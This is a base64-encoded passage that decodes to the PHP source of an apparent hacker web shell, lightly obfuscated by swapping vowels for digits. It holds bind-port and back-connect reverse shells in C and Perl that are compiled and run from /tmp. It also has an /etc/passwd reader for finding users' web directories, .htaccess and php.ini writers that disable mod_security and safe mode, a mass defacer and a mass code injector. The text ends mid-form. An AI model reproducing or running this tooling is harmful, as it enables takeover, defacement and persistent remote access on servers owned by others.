Q2tOQzRBZ0lDQWdJQ0FnSUNBZ0lITmljb1JsYlNnNExhSnBiNDl6MUNBdDFTSXBPdzBLSUNBZ0lDQWdJQ0JqYkc5elpTaGpLVHNOQzRBZ0lDQjlEUXA5IjsNCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQogICAgDQogICAgNWNoMiAnPGg2Pk41dHcycmsgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PVwnbmZwXCcgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM3M0bmcudjFsMzUsdGg0cy5wMnJ0LnYxbDM1LHRoNHMucDFzcy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+DQogICAgPGJyIC8+PHNwMW4+QjRuZCBwMnJ0IHQyIC9iNG4vc2g8L3NwMW4+PGJyLz4NCiAgICBQMnJ0OiA8NG5wM3QgdHlwNT1cJ3Q1eHRcJyBuMW01PVwncDJydFwnIHYxbDM1PVwndXVvXCc+IFAxc3N3MnJkOiA8NG5wM3QgdHlwNT1cJ3Q1eHRcJyBuMW01PVwncDFzc1wnIHYxbDM1PVwnUDFrNHN0MW4gSDF4MnJzXCc+IFVzNG5nOiA8czVsNWN0IG4xbTU9IjNzNG5nIj48MnB0NDJuIHYxbDM1PVwnYnBjXCc+QzwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCdicHBcJz5QNXJsPC8ycHQ0Mm4+PC9zNWw1Y3Q+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPg0KICAgIDwvZjJybT4NCiAgICA8ZjJybSBuMW01PVwnbmZwXCcgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM3M0bmcudjFsMzUsdGg0cy5zNXJ2NXIudjFsMzUsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij4NCiAgICA8YnIgLz48YnIgLz48c3Axbj5CMWNrLWMybm41Y3QgdDI8L3NwMW4+PGJyLz4NCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PVwndDV4dFwnIG4xbTU9XCdzNXJ2NXJcJyB2MWwzNT0iJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nIj4gUDJydDogPDRucDN0IHR5cDU9XCd0NXh0XCcgbjFtNT1cJ3AycnRcJyB2MWwzNT1cJ3V1b1wnPiBVczRuZzogPHM1bDVjdCBuMW01PSIzczRuZyI+PDJwdDQybiB2MWwzNT1cJ2JjY1wnPkM8LzJwdDQybj48MnB0NDJuIHYxbDM1PVwnYmNwXCc+UDVybDwvMnB0NDJuPjwvczVsNWN0PiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij4NCiAgICA8L2Yycm0+PGJyPic7ICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICR3PUBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQogICAgICAgICAgICA0ZigkdykgICAgew0KICAgICAgICAgICAgICAgIEBmd3I0dDUoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZnAzdHMoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZjRsNV9wM3RfYzJudDVudHMoJGYsQGIxczVldV9kNWMyZDUoJHQpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCR3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JwYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLmMiLCRiNG5kX3AycnRfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JwIC90bXAvYnAuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9icC5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JwICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJwIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iICYiKTsNCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIuNXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiMWNrX2Mybm41Y3RfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JjIC90bXAvYmMuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9iYy5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JjICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJjIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncGEnXS4iICIuJF9QT1NUWydwbyddLiIgJiIpOw0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi41eCgicHMgMTN4IHwgZ3I1cCBiYy5wbCIpLiI8L3ByNT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KDQpmM25jdDQybiAxY3Q0Mm5SNTFkMWJsNSgpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5SNTFkMWJsNSBENHJzPC9oNj4nOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybnQ1bnQiPic7DQogICAgJHNtID0gNG40X2c1dCgnczFmNV9tMmQ1Jyk7DQogICAgNGYoJHNtKSB7DQogICAgICAgIDVjaDIgJzxiciAvPjxiPkVycjJyOiBzMWY1X20yZDUgPSAybjwvYj48YnIgLz48YnIgLz4nOw0KICAgIH0gNWxzNSB7DQogICAgICAgIEAkcDFzc3dkID0gZjRsNSgnLzV0Yy9wMXNzd2QnLCdyJyk7DQogICAgICAgIDRmICghJHAxc3N3ZCkgeyANCiAgICAgICAgICAgIDVjaDIgJzxiciAvPjxiPlstXSBFcnIyciA6IGMyM2RuYHQgcjUxZCAvNXRjL3Axc3N3ZDwvYj48YnIgLz48YnIgLz4nOyANCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRwM2IgPSAxcnIxeSgpOw0KICAgICAgICAgICAgJDNzNXJzID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRjMm5mID0gMXJyMXkoKTsNCiAgICAgICAgICAgICQ0ID0gMDsNCiAgICAgICAgICAgIGYycjUxY2goJHAxc3N3ZCAxcyAkcCkgew0KICAgICAgICAgICAgICAgICRyID0gNXhwbDJkNSgnOicsJHApOw0KICAgICAgICAgICAgICAgICRkNHJ6ID0gJHJbaV0uJy9wM2JsNGNfaHRtbC8nOw0KICAgICAgICAgICAgICAgIDRmKHN0cnAycygkcltpXSwnaDJtNScpKSB7DQogICAgICAgICAgICAgICAgICAgIDFycjF5X3Azc2goJDNzNXJzLCRyWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKDRzX3I1MWQxYmw1KCRkNHJ6KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgMXJyMXlfcDNzaCgkcDNiLCRkNHJ6KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxicj48YnI+JzsNCiAgICAgICAgICAgIDVjaDIgIlsrXSBGMjNuZDVkICIuczR6NTJmKCQzczVycykuIiA1bnRyeXMgNG4gLzV0Yy9wMXNzd2RcbiIuIjxiciAvPiI7DQogICAgICAgICAgICA1Y2gyICJbK10gRjIzbmQ1ZCAiLnM0ejUyZigkcDNiKS4iIHI1MWQxYmw1IHAzYmw0Y19odG1sIGQ0cjVjdDJyNDVzXG4iLiI8YnIgLz48YnIgLz48YnIgLz4iOw0KICAgICAgICAgICAgZjJyNTFjaCAoJHAzYiAxcyAkM3M1cikgew0KICAgICAgICAgICAgICAgIDVjaDIgJDNzNXIuIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIEMybXBsNXQ1Li4uXG4iLiI8YnIgLz4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsgICAgDQp9DQoNCmYzbmN0NDJuIDFjdDQybkJ5cDFzcygpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5TMWY1IE0yZDU8L2g2Pic7DQogICAgNWNoMiAnPGQ0diBjbDFzcz0iYzJudDVudCI+JzsNCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxobz48c3Axbj58IFNBRkUgTU9ERSBBTkQgTU9EIFNFQ1VSSVRZIERJU0FCTEVEIEFORCBQRVJMIGkwMCBJTlRFUk5BTCBFUlJPUiBCWVBBU1MgfDwvc3Axbj48L2hvPkYybGwydzRuZyBwaHAuNG40IDFuZCAuaHQxY2M1c3MobTJkKSAxbmQgcDVybCguaHQxY2M1c3MpW2MybnY1cnQgcDVybCA1eHQ1bnQ0Mm4gKi5wbCA9PiAqLnNoICBdIGY0bDVzIGNyNTF0NSA0biBmMmxsMnc0bmcgZDRyPGJyPnwgIi4kR0xPQkFMU1snY3dkJ10uIiB8PGJyPjxiciAvPiI7DQogICAgNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwncGhwLjRuNFwnLG4zbGwpIj58IFBIUC5JTkkgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCc0bjRcJykiPnwgLmh0MWNjNXNzKE0yZCkgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJ3NoXCcpIj58IC5odDFjYzVzcyhwNXJsKSB8IDwvMT48L2M1bnQ1cj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQogICAgew0KICAgICAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgICAgICBmd3I0dDUoJGY0bCwnPElmTTJkM2w1IG0yZF9zNWMzcjR0eS5jPg0KICAgICAgICAgICAgUzVjLS0tLS0tRW5nNG41IE9mZg0KICAgICAgICAgICAgUzVjLS0tLS0tU2MxblBPU1QgT2ZmDQogICAgICAgICAgICA8L0lmTTJkM2w1PicpOw0KICAgICAgICBmY2wyczUoJGY0bCk7DQogICB9DQogICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSYmIDRzczV0KCRfUE9TVFsncDYnXSkpDQogICB7DQogICAgICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgICBmd3I0dDUoJGY0bCwnczFmNV9tMmQ1PU9GRg0KICAgICAgICAgICAgZDRzMWJsNV9mM25jdDQybnM9Tk9ORScpOw0KICAgICAgICBmY2wyczUoJGY0bCk7DQogICAgfQ0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BvJ10pICYmIDRzczV0KCRfUE9TVFsncG8nXSkpDQogICAgew0KICAgICAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgICAgICBmd3I0dDUoJGY0bCwnT3B0NDJucyBGMmxsMndTeW1MNG5rcyBNM2x0NFY0NXdzIEluZDV4NXMgRXg1Y0NHSQ0KICAgICAgICBBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KICAgICAgICBBZGRIMW5kbDVyIGNnNC1zY3I0cHQgLnBsDQogICAgICAgIEFkZEgxbmRsNXIgY2c0LXNjcjRwdCAucGwnKTsNCiAgICAgICAgZmNsMnM1KCRmNGwpOyANCiAgICB9DQogICAgNWNoMiAiPGJyPjxiciAvPjxiciAvPjwvZDR2PiI7DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KICAgDQp9DQoNCmYzbmN0NDJuIDFjdDQybkQ1ZjFjNSgpIHsNCnByNG50SDUxZDVyKCk7DQo1Y2gyICI8aDY+TTFzcyBENWYxYzVyIGJ5IFNtRXZLPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+IjsNCj8+DQo8ZjJybSBFTkNUWVBFPSJtM2x0NHAxcnQvZjJybS1kMXQxIiAxY3Q0Mm49Ijw/JF9TRVJWRVJbJ1BIUF9TRUxGJ10/PiIgbTV0aDJkPVBPU1QgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMucDF0aC52MWwzNSx0aDRzLmY0bDUudjFsMzUsdGg0cy5DMm50NW50cy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+DQo8cCAxbDRnbj0iTDVmdCI+RjJsZDVyOiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9cDF0aCBzNHo1PWUwIHYxbDM1PSI8Pz1nNXRjd2QoKTsgPz4iPg0KPGJyPmY0bDUgbjFtNSA6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHM0ejU9YTAgdjFsMzU9IjRuZDV4LnBocCI+DQo8YnI+VDV4dCBDMm50NW50IDogPDRucDN0IHR5cDU9dDV4dCBuMW01PUMybnQ1bnRzIHM0ejU9NzAgdjFsMzU9IkFkZCB5MjNyIGQ1ZjFjNSB0eHQgaDVyNSI+IA0KPGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iRDVmMWM1IG4ydyI+PC9wPjwvZjJybT4NCg0KPD9waHANCjRmICgkX1BPU1RbJzEnXSA9PSAnRDVmMWM1Jykgew0KJG0xNG5wMXRoID0gJF9QT1NUW3A2XTsNCiRmNGw1ID0gJF9QT1NUW3BhXTsNCiR0eHRDMm50NW50cyA9ICRfUE9TVFtwb107DQo1Y2gyICJNMXNzIEQ1ZjFjNXIgc2NyNHB0IGJ5IFNtRVZLX1AxVGhBbiI7DQokZDRyID0gMnA1bmQ0cigkbTE0bnAxdGgpOyAvL2Y0eG01IC0gYzFubjJ0IGQ1ZjFjNSB3aDVuIGNoMW5nNSB0MiB3cjR0NTFibDUgcDF0aCEhDQp3aDRsNSAoJHIydyA9IHI1MWRkNHIoJGQ0cikpIHsNCiRzdDFydCA9IEBmMnA1bigiJHIydy8kZjRsNSIsICJ3KyIpOw0KJGMyZDUgPSAkdHh0QzJudDVudHM7DQokZjRuNHNoID0gQGZ3cjR0NSgkc3QxcnQsICRjMmQ1KTsNCjRmICgkZjRuNHNoKSB7DQo1Y2gyICIkcjJ3LyRmNGw1ID4gRDJuNTxicj48YnI+IjsNCn0NCn0NCg0KfQ0KNWNoMiAnPC9kNHY+JzsNCnByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkluajVjdDJyKCl7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+TTFzcyBDMmQ1IEluajVjdDJyPC9oNj4nOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybnQ1bnQiPic7DQogICAgDQogICAgNGYoc3RyNHN0cihwaHBfM24xbTUoKSwiVzRuZDJ3cyIpKSB7ICREUyA9ICJcXCI7IH0gNWxzNSA0ZihzdHI0c3RyKHBocF8zbjFtNSgpLCJMNG4zeCIpKSB7ICREUyA9ICcvJzsgfQ0KICAgIGYzbmN0NDJuIGc1dF9zdHIzY3QzcjUoJHAxdGgsJGQ1cHRoKSB7DQogICAgICAgIGdsMmIxbCAkRFM7DQogICAgICAgICRyNXMgPSAxcnIxeSgpOw0KICAgICAgICA0Zig0bl8xcnIxeSgwLCAkZDVwdGgpKSB7ICRyNXNbXSA9ICRwMXRoOyB9DQogICAgICAgIDRmKDRuXzFycjF5KDYsICRkNXB0aCkgMnIgNG5fMXJyMXkoYSwgJGQ1cHRoKSAyciA0bl8xcnIxeShvLCAkZDVwdGgpKSB7DQogICAgICAgICAgICAkdG1wNiA9IGdsMmIoJHAxdGguJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgNGYoNG5fMXJyMXkoNiwgJGQ1cHRoKSkgeyAkcjVzID0gMXJyMXlfbTVyZzUoJHI1cywkdG1wNik7IH0NCiAgICAgICAgfQ0KICAgICAgICA0Zig0bl8xcnIxeShhLCAkZDVwdGgpIDJyIDRuXzFycjF5KG8sICRkNXB0aCkpIHsNCiAgICAgICAgICAgICR0bXBhID0gMXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2goJHRtcDYgMXMgJHQpew0KICAgICAgICAgICAgICAgICR0cGEgPSBnbDJiKCR0LiREUy4nKicsR0xPQl9PTkxZRElSKTsNCiAgICAgICAgICAgICAgICAkdG1wYSA9IDFycjF5X201cmc1KCR0bXBhLCAkdHBhKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKDRuXzFycjF5KGEsICRkNXB0aCkpIHsgJHI1cyA9IDFycjF5X201cmc1KCRyNXMsJHRtcGEpOyB9DQogICAgICAgIH0NCiAgICAgICAgNGYoNG5fMXJyMXkobywgJGQ1cHRoKSkgew0KICAgICAgICAgICAgJHRtcG8gPSAxcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCgkdG1wYSAxcyAkdCl7DQogICAgICAgICAgICAgICAgJHRwbyA9IGdsMmIoJHQuJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgICAgICR0bXBvID0gMXJyMXlfbTVyZzUoJHRtcG8sICR0cG8pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHI1cyA9IDFycjF5X201cmc1KCRyNXMsJHRtcG8pOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkcjVzOw0KICAgIH0NCg0KICAgIDRmKDRzczV0KCRfUE9TVFsnczNibTR0J10pICYmICRfUE9TVFsnczNibTR0J109PSdJbmo1Y3QnKSB7DQogICAgICAgICRuMW01ID0gJF9QT1NUWyduMW01J10gPyAkX1BPU1RbJ24xbTUnXSA6ICcqJzsNCiAgICAgICAgJHR5cDUgPSAkX1BPU1RbJ3R5cDUnXSA/ICRfUE9TVFsndHlwNSddIDogJ2h0bWwnOw0KICAgICAgICAkcDF0aCA9ICRfUE9TVFsncDF0aCddID8gJF9QT1NUWydwMXRoJ10gOiBnNXRjd2QoKTsNCiAgICAgICAgJGMyZDUgPSAkX1BPU1RbJ2MyZDUnXSA/ICRfUE9TVFsnYzJkNSddIDogJ1AxazRzdDFuIEgxeDJycyBDcjV3JzsNCiAgICAgICAgJG0yZDUgPSAkX1BPU1RbJ20yZDUnXSA/ICRfUE9TVFsnbTJkNSddIDogJzEnOw0KICAgICAgICAkZDVwdGggPSBzNHo1MmYoJF9QT1NUWydkNXB0aCddKSA/ICRfUE9TVFsnZDVwdGgnXSA6IDFycjF5KCcwJyk7DQogICAgICAgICRkdCA9IGc1dF9zdHIzY3QzcjUoJHAxdGgsJGQ1cHRoKTsNCiAgICAgICAgZjJyNTFjaCAoJGR0IDFzICRkKSB7DQogICAgICAgICAgICA0ZigkbTJkNSA9PSAnMScpIHsNCiAgICAgICAgICAgICAgICA0ZihmNGw1X3AzdF9jMm50NW50cygkZC4kRFMuJG4xbTUuJy4nLiR0eXA1LCAkYzJkNSwgRklMRV9BUFBFTkQpKSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHN0cjJuZz4nLiRkLiREUy4kbjFtNS4nLicuJHR5cDUuJzwvc3RyMm5nPjxzcDFuIHN0eWw1PSJjMmwycjpsNG01OyI+IHcxcyA0bmo1Y3Q1ZDwvc3Axbj48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHNwMW4gc3R5bDU9ImMybDJyOnI1ZDsiPmYxNGw1ZCB0MiA0bmo1Y3Q8L3NwMW4+IDxzdHIybmc+Jy4kZC4kRFMuJG4xbTUuJy4nLiR0eXA1Lic8L3N0cjJuZz48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYoZjRsNV9wM3RfYzJudDVudHMoJGQuJERTLiRuMW01LicuJy4kdHlwNSwgJGMyZDUpKSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHN0cjJuZz4nLiRkLiREUy4kbjFtNS4nLicuJHR5cDUuJzwvc3RyMm5nPjxzcDFuIHN0eWw1PSJjMmwycjpsNG01OyI+IHcxcyA0bmo1Y3Q1ZDwvc3Axbj48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHNwMW4gc3R5bDU9ImMybDJyOnI1ZDsiPmYxNGw1ZCB0MiA0bmo1Y3Q8L3NwMW4+IDxzdHIybmc+Jy4kZC4kRFMuJG4xbTUuJy4nLiR0eXA1Lic8L3N0cjJuZz48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgNWNoMiAnPGYycm0gbTV0aDJkPSJwMnN0IiAxY3Q0Mm49IiI+DQogICAgICAgICAgICAgICAgPHQxYmw1IDFsNGduPSJjNW50NXIiPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RDRyNWN0MnJ5IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgY2wxc3M9ImIyeCIgbjFtNT0icDF0aCIgdjFsMzU9IicuZzV0Y3dkKCkuJyIgczR6NT0iaTAiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2wxc3M9InQ0dGw1Ij5NMmQ1IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8czVsNWN0IHN0eWw1PSJ3NGR0aDogNjAwcHg7IiBuMW01PSJtMmQ1IiBjbDFzcz0iYjJ4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iMSI+QXA1bmQ1cjwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8MnB0NDJuIHYxbDM1PSJ3Ij5PdjVyd3I0dDVyPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zNWw1Y3Q+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2wxc3M9InQ0dGw1Ij5GNGw1IE4xbTUgJiBUeXA1IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0idDV4dCIgc3R5bDU9Inc0ZHRoOiA2MDBweDsiIG4xbTU9Im4xbTUiIHYxbDM1PSIqIi8+Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHM1bDVjdCBzdHlsNT0idzRkdGg6IDYwMHB4OyIgbjFtNT0idHlwNSIgY2wxc3M9ImIyeCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iaHRtbCI+SFRNTDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwycHQ0Mm4gdjFsMzU9Imh0bSI+SFRNPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0icGhwIiBzNWw1Y3Q1ZD0iczVsNWN0NWQiPlBIUDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwycHQ0Mm4gdjFsMzU9IjFzcCI+QVNQPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iMXNweCI+QVNQWDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwycHQ0Mm4gdjFsMzU9InhtbCI+WE1MPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0idHh0Ij5UWFQ8LzJwdDQybj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvczVsNWN0PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbDFzcz0idDR0bDUiPkMyZDUgSW5qNWN0IEQ1cHRoIDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImQ1cHRoW10iIHYxbDM1PSIwIiBjaDVjazVkPSJjaDVjazVkIi8+Jm5ic3A7MCZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0iZDVwdGhbXSIgdjFsMzU9IjYiLz4mbmJzcDs2Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJkNXB0aFtdIiB2MWwzNT0iYSIvPiZuYnNwO2EmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImQ1cHRoW10iIHYxbDM1PSJvIi8+Jm5ic3A7bw0KICAgICAgICAgICAgICAg